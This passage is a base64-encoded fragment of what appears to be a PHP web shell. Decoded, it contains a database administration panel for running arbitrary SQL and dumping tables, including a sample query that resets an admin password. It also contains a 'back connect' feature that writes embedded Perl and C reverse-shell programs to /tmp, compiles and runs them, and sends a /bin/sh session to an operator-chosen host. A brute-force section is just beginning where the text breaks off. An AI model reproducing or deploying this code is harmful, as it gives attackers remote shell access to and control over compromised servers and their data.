XJlZD5CY2E8L2ZvbnQ+PEJSPjxmb250IGNvbG9yPXllbGxvdz5VUERBVEUgYHVzZXJgIFNFVCBgcGFzc3dvcmRgID0gXCc2OWU1M2U1YWI5NTM2ZTU1ZDMxZmY1MzNhZWZjNGZiZVwnLCBzYWx0ID0gXCdwNVRcJyBXSEVSRSBgdXNlcmlkYCA9IFwnMVwnIDwvZm9udD4NCgkJCTwvdGQ+PC90cj48dHI+PHRkPjx0ZXh0YXJlYSBuYW1lPSJzcWxfcXVlcnkiIGNsYXNzPSJhcmVhIiBzdHlsZT0id2lkdGg6NjAwcHg7aGVpZ2h0OjUwcHg7b3ZlcmZsb3c6YXV0bzsiPicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5LEVOVF9RVU9URVMpLic8L3RleHRhcmVhPjwvdGQ+PHRkIHN0eWxlPSJwYWRkaW5nOjAgNXB4OyI+PGlucHV0IGNsYXNzPSJidCIgc3R5bGU9ImhlaWdodDo1MHB4OyIgbmFtZT0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJRdWVyeSIgLz48L3RkPjwvdHI+PC90YWJsZT48L3A+Jyk7DQoJCQltYWtlaGlkZSgndGFibGVuYW1lJywgJHRhYmxlbmFtZSk7DQoJCQltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCgkJCXAoJGRiZm9ybSk7DQoJCQlwKCc8L2Zvcm0+Jyk7DQoJCQlpZiAoJHRhYmxlbmFtZSB8fCAoJHJ1bnF1ZXJ5ICYmICRzcWxfcXVlcnkpKSB7DQoJCQkJaWYgKCRkb2luZyA9PSAnc3RydWN0dXJlJykgew0KCQkJCQkkcmVzdWx0ID0gcSgiU0hPVyBDT0xVTU5TIEZST00gJHRhYmxlbmFtZSIpOw0KCQkJCQkkcm93ZGIgPSBhcnJheSgpOw0KCQkJCQl3aGlsZSgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsNCgkJCQkJCSRyb3dkYltdID0gJHJvdzsNCgkJCQkJfQ0KCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOw0KCQkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOw0KCQkJCQlwKCc8dGQ+RmllbGQ8L3RkPicpOw0KCQkJCQlwKCc8dGQ+VHlwZTwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD5OdWxsPC90ZD4nKTsNCgkJCQkJcCgnPHRkPktleTwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD5EZWZhdWx0PC90ZD4nKTsNCgkJCQkJcCgnPHRkPkV4dHJhPC90ZD4nKTsNCgkJCQkJcCgnPC90cj4nKTsNCgkJCQkJZm9yZWFjaCAoJHJvd2RiIGFzICRyb3cpIHsNCgkJCQkJCSR0aGlzYmcgPSBiZygpOw0KCQkJCQkJcCgnPHRyIGNsYXNzPSJmb3V0IiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCdmb3V0XCc7Ij4nKTsNCgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0ZpZWxkJ10uJzwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydUeXBlJ10uJzwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydOdWxsJ10uJyZuYnNwOzwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydLZXknXS4nJm5ic3A7PC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0RlZmF1bHQnXS4nJm5ic3A7PC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0V4dHJhJ10uJyZuYnNwOzwvdGQ+Jyk7DQoJCQkJCQlwKCc8L3RyPicpOw0KCQkJCQl9DQoJCQkJCXRiZm9vdCgpOw0KCQkJCX0gZWxzZWlmICgkZG9pbmcgPT0gJ2luc2VydCcgfHwgJGRvaW5nID09ICdlZGl0Jykgew0KCQkJCQkkcmVzdWx0ID0gcSgnU0hPVyBDT0xVTU5TIEZST00gJy4kdGFibGVuYW1lKTsNCgkJCQkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgew0KCQkJCQkJJHJvd2RiW10gPSAkcm93Ow0KCQkJCQl9DQoJCQkJCSRycyA9IGFycmF5KCk7DQoJCQkJCWlmICgkZG9pbmcgPT0gJ2luc2VydCcpIHsNCgkJCQkJCXAoJzxoMj5JbnNlcnQgbmV3IGxpbmUgaW4gJy4kdGFibGVuYW1lLicgdGFibGUgJnJhcXVvOzwvaDI+Jyk7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQlwKCc8aDI+VXBkYXRlIHJlY29yZCBpbiAnLiR0YWJsZW5hbWUuJyB0YWJsZSAmcmFxdW87PC9oMj4nKTsNCgkJCQkJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7DQoJCQkJCQkkcmVzdWx0ID0gcSgiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIFdIRVJFICR3aGVyZSBMSU1JVCAxIik7DQoJCQkJCQkkcnMgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KTsNCgkJCQkJfQ0KCQkJCQlwKCc8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iJy4kc2VsZi4nIj4nKTsNCgkJCQkJcCgkZGJmb3JtKTsNCgkJCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJCQkJCW1ha2VoaWRlKCd0YWJsZW5hbWUnLCR0YWJsZW5hbWUpOw0KCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOw0KCQkJCQlmb3JlYWNoICgkcm93ZGIgYXMgJHJvdykgew0KCQkJCQkJaWYgKCRyc1skcm93WydGaWVsZCddXSkgew0KCQkJCQkJCSR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHJzWyRyb3dbJ0ZpZWxkJ11dKTsNCgkJCQkJCX0gZWxzZSB7DQoJCQkJCQkJJHZhbHVlID0gJyc7DQoJCQkJCQl9DQoJCQkJCQkkdGhpc2JnID0gYmcoKTsNCgkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnZm91dFwnOyI+Jyk7DQoJCQkJCQlwKCc8dGQ+PGI+Jy4kcm93WydGaWVsZCddLic8L2I+PGJyIC8+Jy4kcm93WydUeXBlJ10uJzwvdGQ+PHRkPjx0ZXh0YXJlYSBjbGFzcz0iYXJlYSIgbmFtZT0iaW5zZXJ0c3FsWycuJHJvd1snRmllbGQnXS4nXSIgc3R5bGU9IndpZHRoOjUwMHB4O2hlaWdodDo2MHB4O292ZXJmbG93OmF1dG87Ij4nLiR2YWx1ZS4nPC90ZXh0YXJlYT48L3RkPjwvdHI+Jyk7DQoJCQkJCX0NCgkJCQkJaWYgKCRkb2luZyA9PSAnaW5zZXJ0Jykgew0KCQkJCQkJcCgnPHRyIGNsYXNzPSJmb3V0Ij48dGQgY29sc3Bhbj0iMiI+PGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiBuYW1lPSJpbnNlcnQiIHZhbHVlPSJJbnNlcnQiIC8+PC90ZD48L3RyPicpOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJcCgnPHRyIGNsYXNzPSJmb3V0Ij48dGQgY29sc3Bhbj0iMiI+PGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGRhdGUiIHZhbHVlPSJVcGRhdGUiIC8+PC90ZD48L3RyPicpOw0KCQkJCQkJbWFrZWhpZGUoJ2Jhc2U2NCcsICRiYXNlNjQpOw0KCQkJCQl9DQoJCQkJCXAoJzwvdGFibGU+PC9mb3JtPicpOw0KCQkJCX0gZWxzZSB7DQoJCQkJCSRxdWVyeXMgPSBAZXhwbG9kZSgnOycsJHNxbF9xdWVyeSk7DQoJCQkJCWZvcmVhY2goJHF1ZXJ5cyBhcyAkbnVtPT4kcXVlcnkpIHsNCgkJCQkJCWlmICgkcXVlcnkpIHsNCgkJCQkJCQlwKCI8cD48Yj5RdWVyeSN7JG51bX0gOiAiLmh0bWxzcGVjaWFsY2hhcnMoJHF1ZXJ5LEVOVF9RVU9URVMpLiI8L2I+PC9wPiIpOw0KCQkJCQkJCXN3aXRjaChxeSgkcXVlcnkpKQ0KCQkJCQkJCXsNCgkJCQkJCQkJY2FzZSAwOg0KCQkJCQkJCQkJcCgnPGgyPkVycm9yIDogJy5teXNxbF9lcnJvcigpLic8L2gyPicpOw0KCQkJCQkJCQkJYnJlYWs7DQoJCQkJCQkJCWNhc2UgMToNCgkJCQkJCQkJCWlmIChzdHJ0b2xvd2VyKHN1YnN0cigkcXVlcnksMCwxMykpID09ICdzZWxlY3QgKiBmcm9tJykgew0KCQkJCQkJCQkJCSRhbGxvd2VkaXQgPSAxOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJaWYgKCRnZXRudW1zcWwpIHsNCgkJCQkJCQkJCQkkdGF0b2wgPSBteXNxbF9udW1fcm93cyhxKCRnZXRudW1zcWwpKTsNCgkJCQkJCQkJCQkkbXVsdGlwYWdlID0gbXVsdGkoJHRhdG9sLCAkcGFnZW51bSwgJHBhZ2UsICR0YWJsZW5hbWUpOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJaWYgKCEkdGFibGVuYW1lKSB7DQoJCQkJCQkJCQkJJHNxbF9saW5lID0gc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwgIlxuIiwgIlx0IiksIGFycmF5KCcgJywgJyAnLCAnICcpLCB0cmltKGh0bWxzcGVjaWFsY2hhcnMoJHF1ZXJ5KSkpOw0KCQkJCQkJCQkJCSRzcWxfbGluZSA9IHByZWdfcmVwbGFjZSgiL1wvXCpbXihcKlwvKV0qXCpcLy9pIiwgIiAiLCAkc3FsX2xpbmUpOw0KCQkJCQkJCQkJCXByZWdfbWF0Y2hfYWxsKCIvZnJvbVxzK2B7MCwxfShbXHddKylgezAsMX1ccysvaSIsJHNxbF9saW5lLCRtYXRjaGVzKTsNCgkJCQkJCQkJCQkkdGFibGVuYW1lID0gJG1hdGNoZXNbMV1bMF07DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQkkcmVzdWx0ID0gcSgkcXVlcnkpOw0KCQkJCQkJCQkJcCgkbXVsdGlwYWdlKTsNCgkJCQkJCQkJCXAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCI+Jyk7DQoJCQkJCQkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOw0KCQkJCQkJCQkJaWYgKCRhbGxvd2VkaXQpIHAoJzx0ZD5BY3Rpb248L3RkPicpOw0KCQkJCQkJCQkJJGZpZWxkbnVtID0gQG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7DQoJCQkJCQkJCQlmb3IoJGk9MDskaTwkZmllbGRudW07JGkrKyl7DQoJCQkJCQkJCQkJJG5hbWUgPSBAbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCAkaSk7DQoJCQkJCQkJCQkJJHR5cGUgPSBAbXlzcWxfZmllbGRfdHlwZSgkcmVzdWx0LCAkaSk7DQoJCQkJCQkJCQkJJGxlbiA9IEBteXNxbF9maWVsZF9sZW4oJHJlc3VsdCwgJGkpOw0KCQkJCQkJCQkJCXAoIjx0ZCBub3dyYXA+JG5hbWU8YnI+PHNwYW4+JHR5cGUoJGxlbik8L3NwYW4+PC90ZD4iKTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCXAoJzwvdHI+Jyk7DQoJCQkJCQkJCQl3aGlsZSgkbW4gPSBAbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCkpew0KCQkJCQkJCQkJCSR0aGlzYmcgPSBiZygpOw0KCQkJCQkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnZm91dFwnOyI+Jyk7DQoJCQkJCQkJCQkJJHdoZXJlID0gJHRtcCA9ICRiMSA9ICcnOw0KCQkJCQkJCQkJCWZvcmVhY2goJG1uIGFzICRrZXk9PiRpbnNpZGUpew0KCQkJCQkJCQkJCQlpZiAoJGluc2lkZSkgew0KCQkJCQkJCQkJCQkJJHdoZXJlIC49ICR0bXAuJGtleS4iPSciLmFkZHNsYXNoZXMoJGluc2lkZSkuIiciOw0KCQkJCQkJCQkJCQkJJHRtcCA9ICcgQU5EICc7DQoJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQkJJGIxIC49ICc8dGQgbm93cmFwPicuaHRtbF9jbGVhbigkaW5zaWRlKS4nJm5ic3A7PC90ZD4nOw0KCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQkkd2hlcmUgPSBiYXNlNjRfZW5jb2RlKCR3aGVyZSk7DQoJCQkJCQkJCQkJaWYgKCRhbGxvd2VkaXQpIHAoJzx0ZCBub3dyYXA+PGEgaHJlZj0iamF2YXNjcmlwdDplZGl0cmVjb3JkKFwnZWRpdFwnLCBcJycuJHdoZXJlLidcJywgXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPkVkaXQ8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDplZGl0cmVjb3JkKFwnZGVsXCcsIFwnJy4kd2hlcmUuJ1wnLCBcJycuJHRhYmxlbmFtZS4nXCcpOyI+RGVsPC9hPjwvdGQ+Jyk7DQoJCQkJCQkJCQkJcCgkYjEpOw0KCQkJCQkJCQkJCXAoJzwvdHI+Jyk7DQoJCQkJCQkJCQkJdW5zZXQoJGIxKTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCXRiZm9vdCgpOw0KCQkJCQkJCQkJcCgkbXVsdGlwYWdlKTsNCgkJCQkJCQkJCWJyZWFrOw0KCQkJCQkJCQljYXNlIDI6DQoJCQkJCQkJCQkkYXIgPSBteXNxbF9hZmZlY3RlZF9yb3dzKCk7DQoJCQkJCQkJCQlwKCc8aDI+YWZmZWN0ZWQgcm93cyA6IDxiPicuJGFyLic8L2I+PC9oMj4nKTsNCgkJCQkJCQkJCWJyZWFrOw0KCQkJCQkJCX0NCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCX0gZWxzZSB7DQoJCQkJJHF1ZXJ5ID0gcSgiU0hPVyBUQUJMRSBTVEFUVVMiKTsNCgkJCQkkdGFibGVfbnVtID0gJHRhYmxlX3Jvd3MgPSAkZGF0YV9zaXplID0gMDsNCgkJCQkkdGFibGVkYiA9IGFycmF5KCk7DQoJCQkJd2hpbGUoJHRhYmxlID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgew0KCQkJCQkkZGF0YV9zaXplID0gJGRhdGFfc2l6ZSArICR0YWJsZVsnRGF0YV9sZW5ndGgnXTsNCgkJCQkJJHRhYmxlX3Jvd3MgPSAkdGFibGVfcm93cyArICR0YWJsZVsnUm93cyddOw0KCQkJCQkkdGFibGVbJ0RhdGFfbGVuZ3RoJ10gPSBzaXplY291bnQoJHRhYmxlWydEYXRhX2xlbmd0aCddKTsNCgkJCQkJJHRhYmxlX251bSsrOw0KCQkJCQkkdGFibGVkYltdID0gJHRhYmxlOw0KCQkJCX0NCgkJCQkkZGF0YV9zaXplID0gc2l6ZWNvdW50KCRkYXRhX3NpemUpOw0KCQkJCXVuc2V0KCR0YWJsZSk7DQoJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4nKTsNCgkJCQlwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIj4nKTsNCgkJCQltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCgkJCQlwKCRkYmZvcm0pOw0KCQkJCXAoJzx0ciBjbGFzcz0iaGVhZCI+Jyk7DQoJCQkJcCgnPHRkIHdpZHRoPSIyJSIgYWxpZ249ImNlbnRlciI+PGlucHV0IG5hbWU9ImNoa2FsbCIgdmFsdWU9Im9uIiB0eXBlPSJjaGVja2JveCIgb25jbGljaz0iQ2hlY2tBbGwodGhpcy5mb3JtKSIgLz48L3RkPicpOw0KCQkJCXAoJzx0ZD5OYW1lPC90ZD4nKTsNCgkJCQlwKCc8dGQ+Um93czwvdGQ+Jyk7DQoJCQkJcCgnPHRkPkRhdGFfbGVuZ3RoPC90ZD4nKTsNCgkJCQlwKCc8dGQ+Q3JlYXRlX3RpbWU8L3RkPicpOw0KCQkJCXAoJzx0ZD5VcGRhdGVfdGltZTwvdGQ+Jyk7DQoJCQkJaWYgKCRoaWdodmVyKSB7DQoJCQkJCXAoJzx0ZD5FbmdpbmU8L3RkPicpOw0KCQkJCQlwKCc8dGQ+Q29sbGF0aW9uPC90ZD4nKTsNCgkJCQl9DQoJCQkJcCgnPC90cj4nKTsNCgkJCQlmb3JlYWNoICgkdGFibGVkYiBhcyAka2V5ID0+ICR0YWJsZSkgew0KCQkJCQkkdGhpc2JnID0gYmcoKTsNCgkJCQkJcCgnPHRyIGNsYXNzPSJmb3V0IiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCdmb3V0XCc7Ij4nKTsNCgkJCQkJcCgnPHRkIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIyJSI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ0YWJsZVtdIiB2YWx1ZT0iJy4kdGFibGVbJ05hbWUnXS4nIiAvPjwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD48YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcpOyI+Jy4kdGFibGVbJ05hbWUnXS4nPC9hPiBbIDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJywgXCdpbnNlcnRcJyk7Ij5JbnNlcnQ8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnLCBcJ3N0cnVjdHVyZVwnKTsiPlN0cnVjdHVyZTwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcsIFwnZHJvcFwnKTsiPkRyb3A8L2E+IF08L3RkPicpOw0KCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ1Jvd3MnXS4nPC90ZD4nKTsNCgkJCQkJcCgnPHRkPicuJHRhYmxlWydEYXRhX2xlbmd0aCddLic8L3RkPicpOw0KCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ0NyZWF0ZV90aW1lJ10uJzwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnVXBkYXRlX3RpbWUnXS4nPC90ZD4nKTsNCgkJCQkJaWYgKCRoaWdodmVyKSB7DQoJCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ0VuZ2luZSddLic8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHRhYmxlWydDb2xsYXRpb24nXS4nPC90ZD4nKTsNCgkJCQkJfQ0KCQkJCQlwKCc8L3RyPicpOw0KCQkJCX0NCgkJCQlwKCc8dHIgY2xhc3M9Zm91dD4nKTsNCgkJCQlwKCc8dGQ+Jm5ic3A7PC90ZD4nKTsNCgkJCQlwKCc8dGQ+VG90YWwgdGFibGVzOiAnLiR0YWJsZV9udW0uJzwvdGQ+Jyk7DQoJCQkJcCgnPHRkPicuJHRhYmxlX3Jvd3MuJzwvdGQ+Jyk7DQoJCQkJcCgnPHRkPicuJGRhdGFfc2l6ZS4nPC90ZD4nKTsNCgkJCQlwKCc8dGQgY29sc3Bhbj0iJy4oJGhpZ2h2ZXIgPyA0IDogMikuJyI+Jm5ic3A7PC90ZD4nKTsNCgkJCQlwKCc8L3RyPicpOw0KDQoJCQkJcCgiPHRyIGNsYXNzPVwiZm91dFwiPjx0ZCBjb2xzcGFuPVwiIi4oJGhpZ2h2ZXIgPyA4IDogNikuIlwiPjxpbnB1dCBuYW1lPVwic2F2ZWFzZmlsZVwiIHZhbHVlPVwiMVwiIHR5cGU9XCJjaGVja2JveFwiIC8+IFNhdmUgYXMgZmlsZSA8aW5wdXQgY2xhc3M9XCJpbnB1dFwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIiLlNBX1JPT1QuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiJfTXlTUUwuc3FsXCIgdHlwZT1cInRleHRcIiBzaXplPVwiNjBcIiAvPiA8aW5wdXQgY2xhc3M9XCJidFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiZG93bnJhclwiIHZhbHVlPVwiRXhwb3J0IHNlbGVjdGlvbiB0YWJsZVwiIC8+PC90ZD48L3RyPiIpOw0KCQkJCW1ha2VoaWRlKCdkb2luZycsJ2JhY2t1cG15c3FsJyk7DQoJCQkJZm9ybWZvb3QoKTsNCgkJCQlwKCI8L3RhYmxlPiIpOw0KCQkJCWZyKCRxdWVyeSk7DQoJCQl9DQoJCX0NCgl9DQoJdGJmb290KCk7DQoJQG15c3FsX2Nsb3NlKCk7DQp9Ly9lbmQgc3FsIGJhY2t1cA0KDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnYmFja2Nvbm5lY3QnKSB7DQoJISR5b3VyaXAgJiYgJHlvdXJpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOw0KCSEkeW91cnBvcnQgJiYgJHlvdXJwb3J0ID0gJzEyMzQ1JzsNCgkkdXNlZGIgPSBhcnJheSgncGVybCc9PidwZXJsJywnYyc9PidjJyk7DQoNCgkkYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqIi4NCgkJImFHOGdJbUJwWkdBaU95OWlhVzR2YzJnbk93MEtKREE5SkdOdFpEc05DaVIwWVhKblpYUTlKRUZTUjFaYk1GMDdEUW9rY0c5eWREMGtRVkpIVmxzeFhUc05DaVJwWVdSa2NqMXBibVYwWDJGMGIyNG9KSFIiLg0KCQkiaGNtZGxkQ2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1J3YjNKMExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVCIuDQoJCSJzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JIi4NCgkJImtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWkiLg0KCQkiS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNna2MzbHpkR1Z0S1RzTkNtTnNiM05sS0ZOVVJFbCIuDQoJCSJPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsNCgkkYmFja19jb25uZWN0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ21sdWRDIi4NCgkJIkJ0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNwaGNtZDJXMTBwRFFwN0RRb2dhVzUwSUdaa093MEtJSE4wY25WamRDQnpiMk5yWVdSa2NsOXBiaUJ6YVc0N0RRb2dZMmhoY2lCeWJYTmJNakZkUFNKeWIiLg0KCQkiU0F0WmlBaU95QU5DaUJrWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZCIuDQoJCSJLU2s3RFFvZ2MybHVMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2x1WlhSZllXUmtjaWhoY21kMld6RmRLVHNnRFFvZ1lucGxjbThvWVhKbmRsc3hYU3h6ZEhKc1pXNG9ZWEpuZGxzeFhTa3JNU3R6ZEhKIi4NCgkJInNaVzRvWVhKbmRsc3lYU2twT3lBTkNpQm1aQ0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1NWQlFVazlVVDE5VVExQXBJRHNnRFFvZ2FXWWdLQ2hqYjI1dVpXTjBLR1prTEMiLg0KCQkiQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjFZM1FnYzI5amEyRmtaSElwS1NrOE1Da2dldzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZMjl1Ym1WamRDZ3BJaWs3RCIuDQoJCSJRb2dJQ0JsZUdsMEtEQXBPdzBLSUgwTkNpQnpkSEpqWVhRb2NtMXpMQ0JoY21kMld6QmRLVHNOQ2lCemVYTjBaVzBvY20xektUc2dJQTBLSUdSMWNESW9abVFzSURBcE93MEtJR1IxY0RJb1ptUXNJREVwIi4NCgkJIk93MEtJR1IxY0RJb1ptUXNJRElwT3cwS0lHVjRaV05zS0NJdlltbHVMM05vSWl3aWMyZ2dMV2tpTENCT1ZVeE1LVHNOQ2lCamJHOXpaU2htWkNrN0lBMEtmUT09IjsNCg0KCWlmICgkc3RhcnQgJiYgJHlvdXJpcCAmJiAkeW91cnBvcnQgJiYgJHVzZSl7DQoJCWlmICgkdXNlID09ICdwZXJsJykgew0KCQkJY2YoJy90bXAvYW5nZWxfYmMnLCRiYWNrX2Nvbm5lY3QpOw0KCQkJJHJlcyA9IGV4ZWN1dGUod2hpY2goJ3BlcmwnKS4iIC90bXAvYW5nZWxfYmMgJHlvdXJpcCAkeW91cnBvcnQgJiIpOw0KCQl9IGVsc2Ugew0KCQkJY2YoJy90bXAvYW5nZWxfYmMuYycsJGJhY2tfY29ubmVjdF9jKTsNCgkJCSRyZXMgPSBleGVjdXRlKCdnY2MgLW8gL3RtcC9hbmdlbF9iYyAvdG1wL2FuZ2VsX2JjLmMnKTsNCgkJCUB1bmxpbmsoJy90bXAvYW5nZWxfYmMuYycpOw0KCQkJJHJlcyA9IGV4ZWN1dGUoIi90bXAvYW5nZWxfYmMgJHlvdXJpcCAkeW91cnBvcnQgJiIpOw0KCQl9DQoJCW0oIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gJHlvdXJpcCBwb3J0ICR5b3VycG9ydCAuLi4iKTsNCgl9DQoNCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nQmFjayBDb25uZWN0JykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdiYWNrY29ubmVjdCcpOw0KCXAoJzxwPicpOw0KCXAoJ1lvdXIgSVA6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3lvdXJpcCcsJ3NpemUnPT4yMCwndmFsdWUnPT4keW91cmlwKSk7DQoJcCgnWW91ciBQb3J0OicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pid5b3VycG9ydCcsJ3NpemUnPT4xNSwndmFsdWUnPT4keW91cnBvcnQpKTsNCglwKCdVc2U6Jyk7DQoJbWFrZXNlbGVjdChhcnJheSgnbmFtZSc9Pid1c2UnLCdvcHRpb24nPT4kdXNlZGIsJ3NlbGVjdGVkJz0+JHVzZSkpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzdGFydCcsJ3ZhbHVlJz0+J1N0YXJ0JywndHlwZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcpKTsNCglwKCc8L3A+Jyk7DQoJZm9ybWZvb3QoKTsNCn0vL2VuZCBiYWNrY29ubmVjdCB3aW5kb3cgdmlhIE5DDQoNCi8vIEJydXRlDQplbHNlaWYgKCRhY3Rpb24gPT0gJ2JydXRlJykgew0KZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0JydXRlIEZvcmNlcicpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnYnJ1dGUnKTsNCgltYWtlaGlkZSgn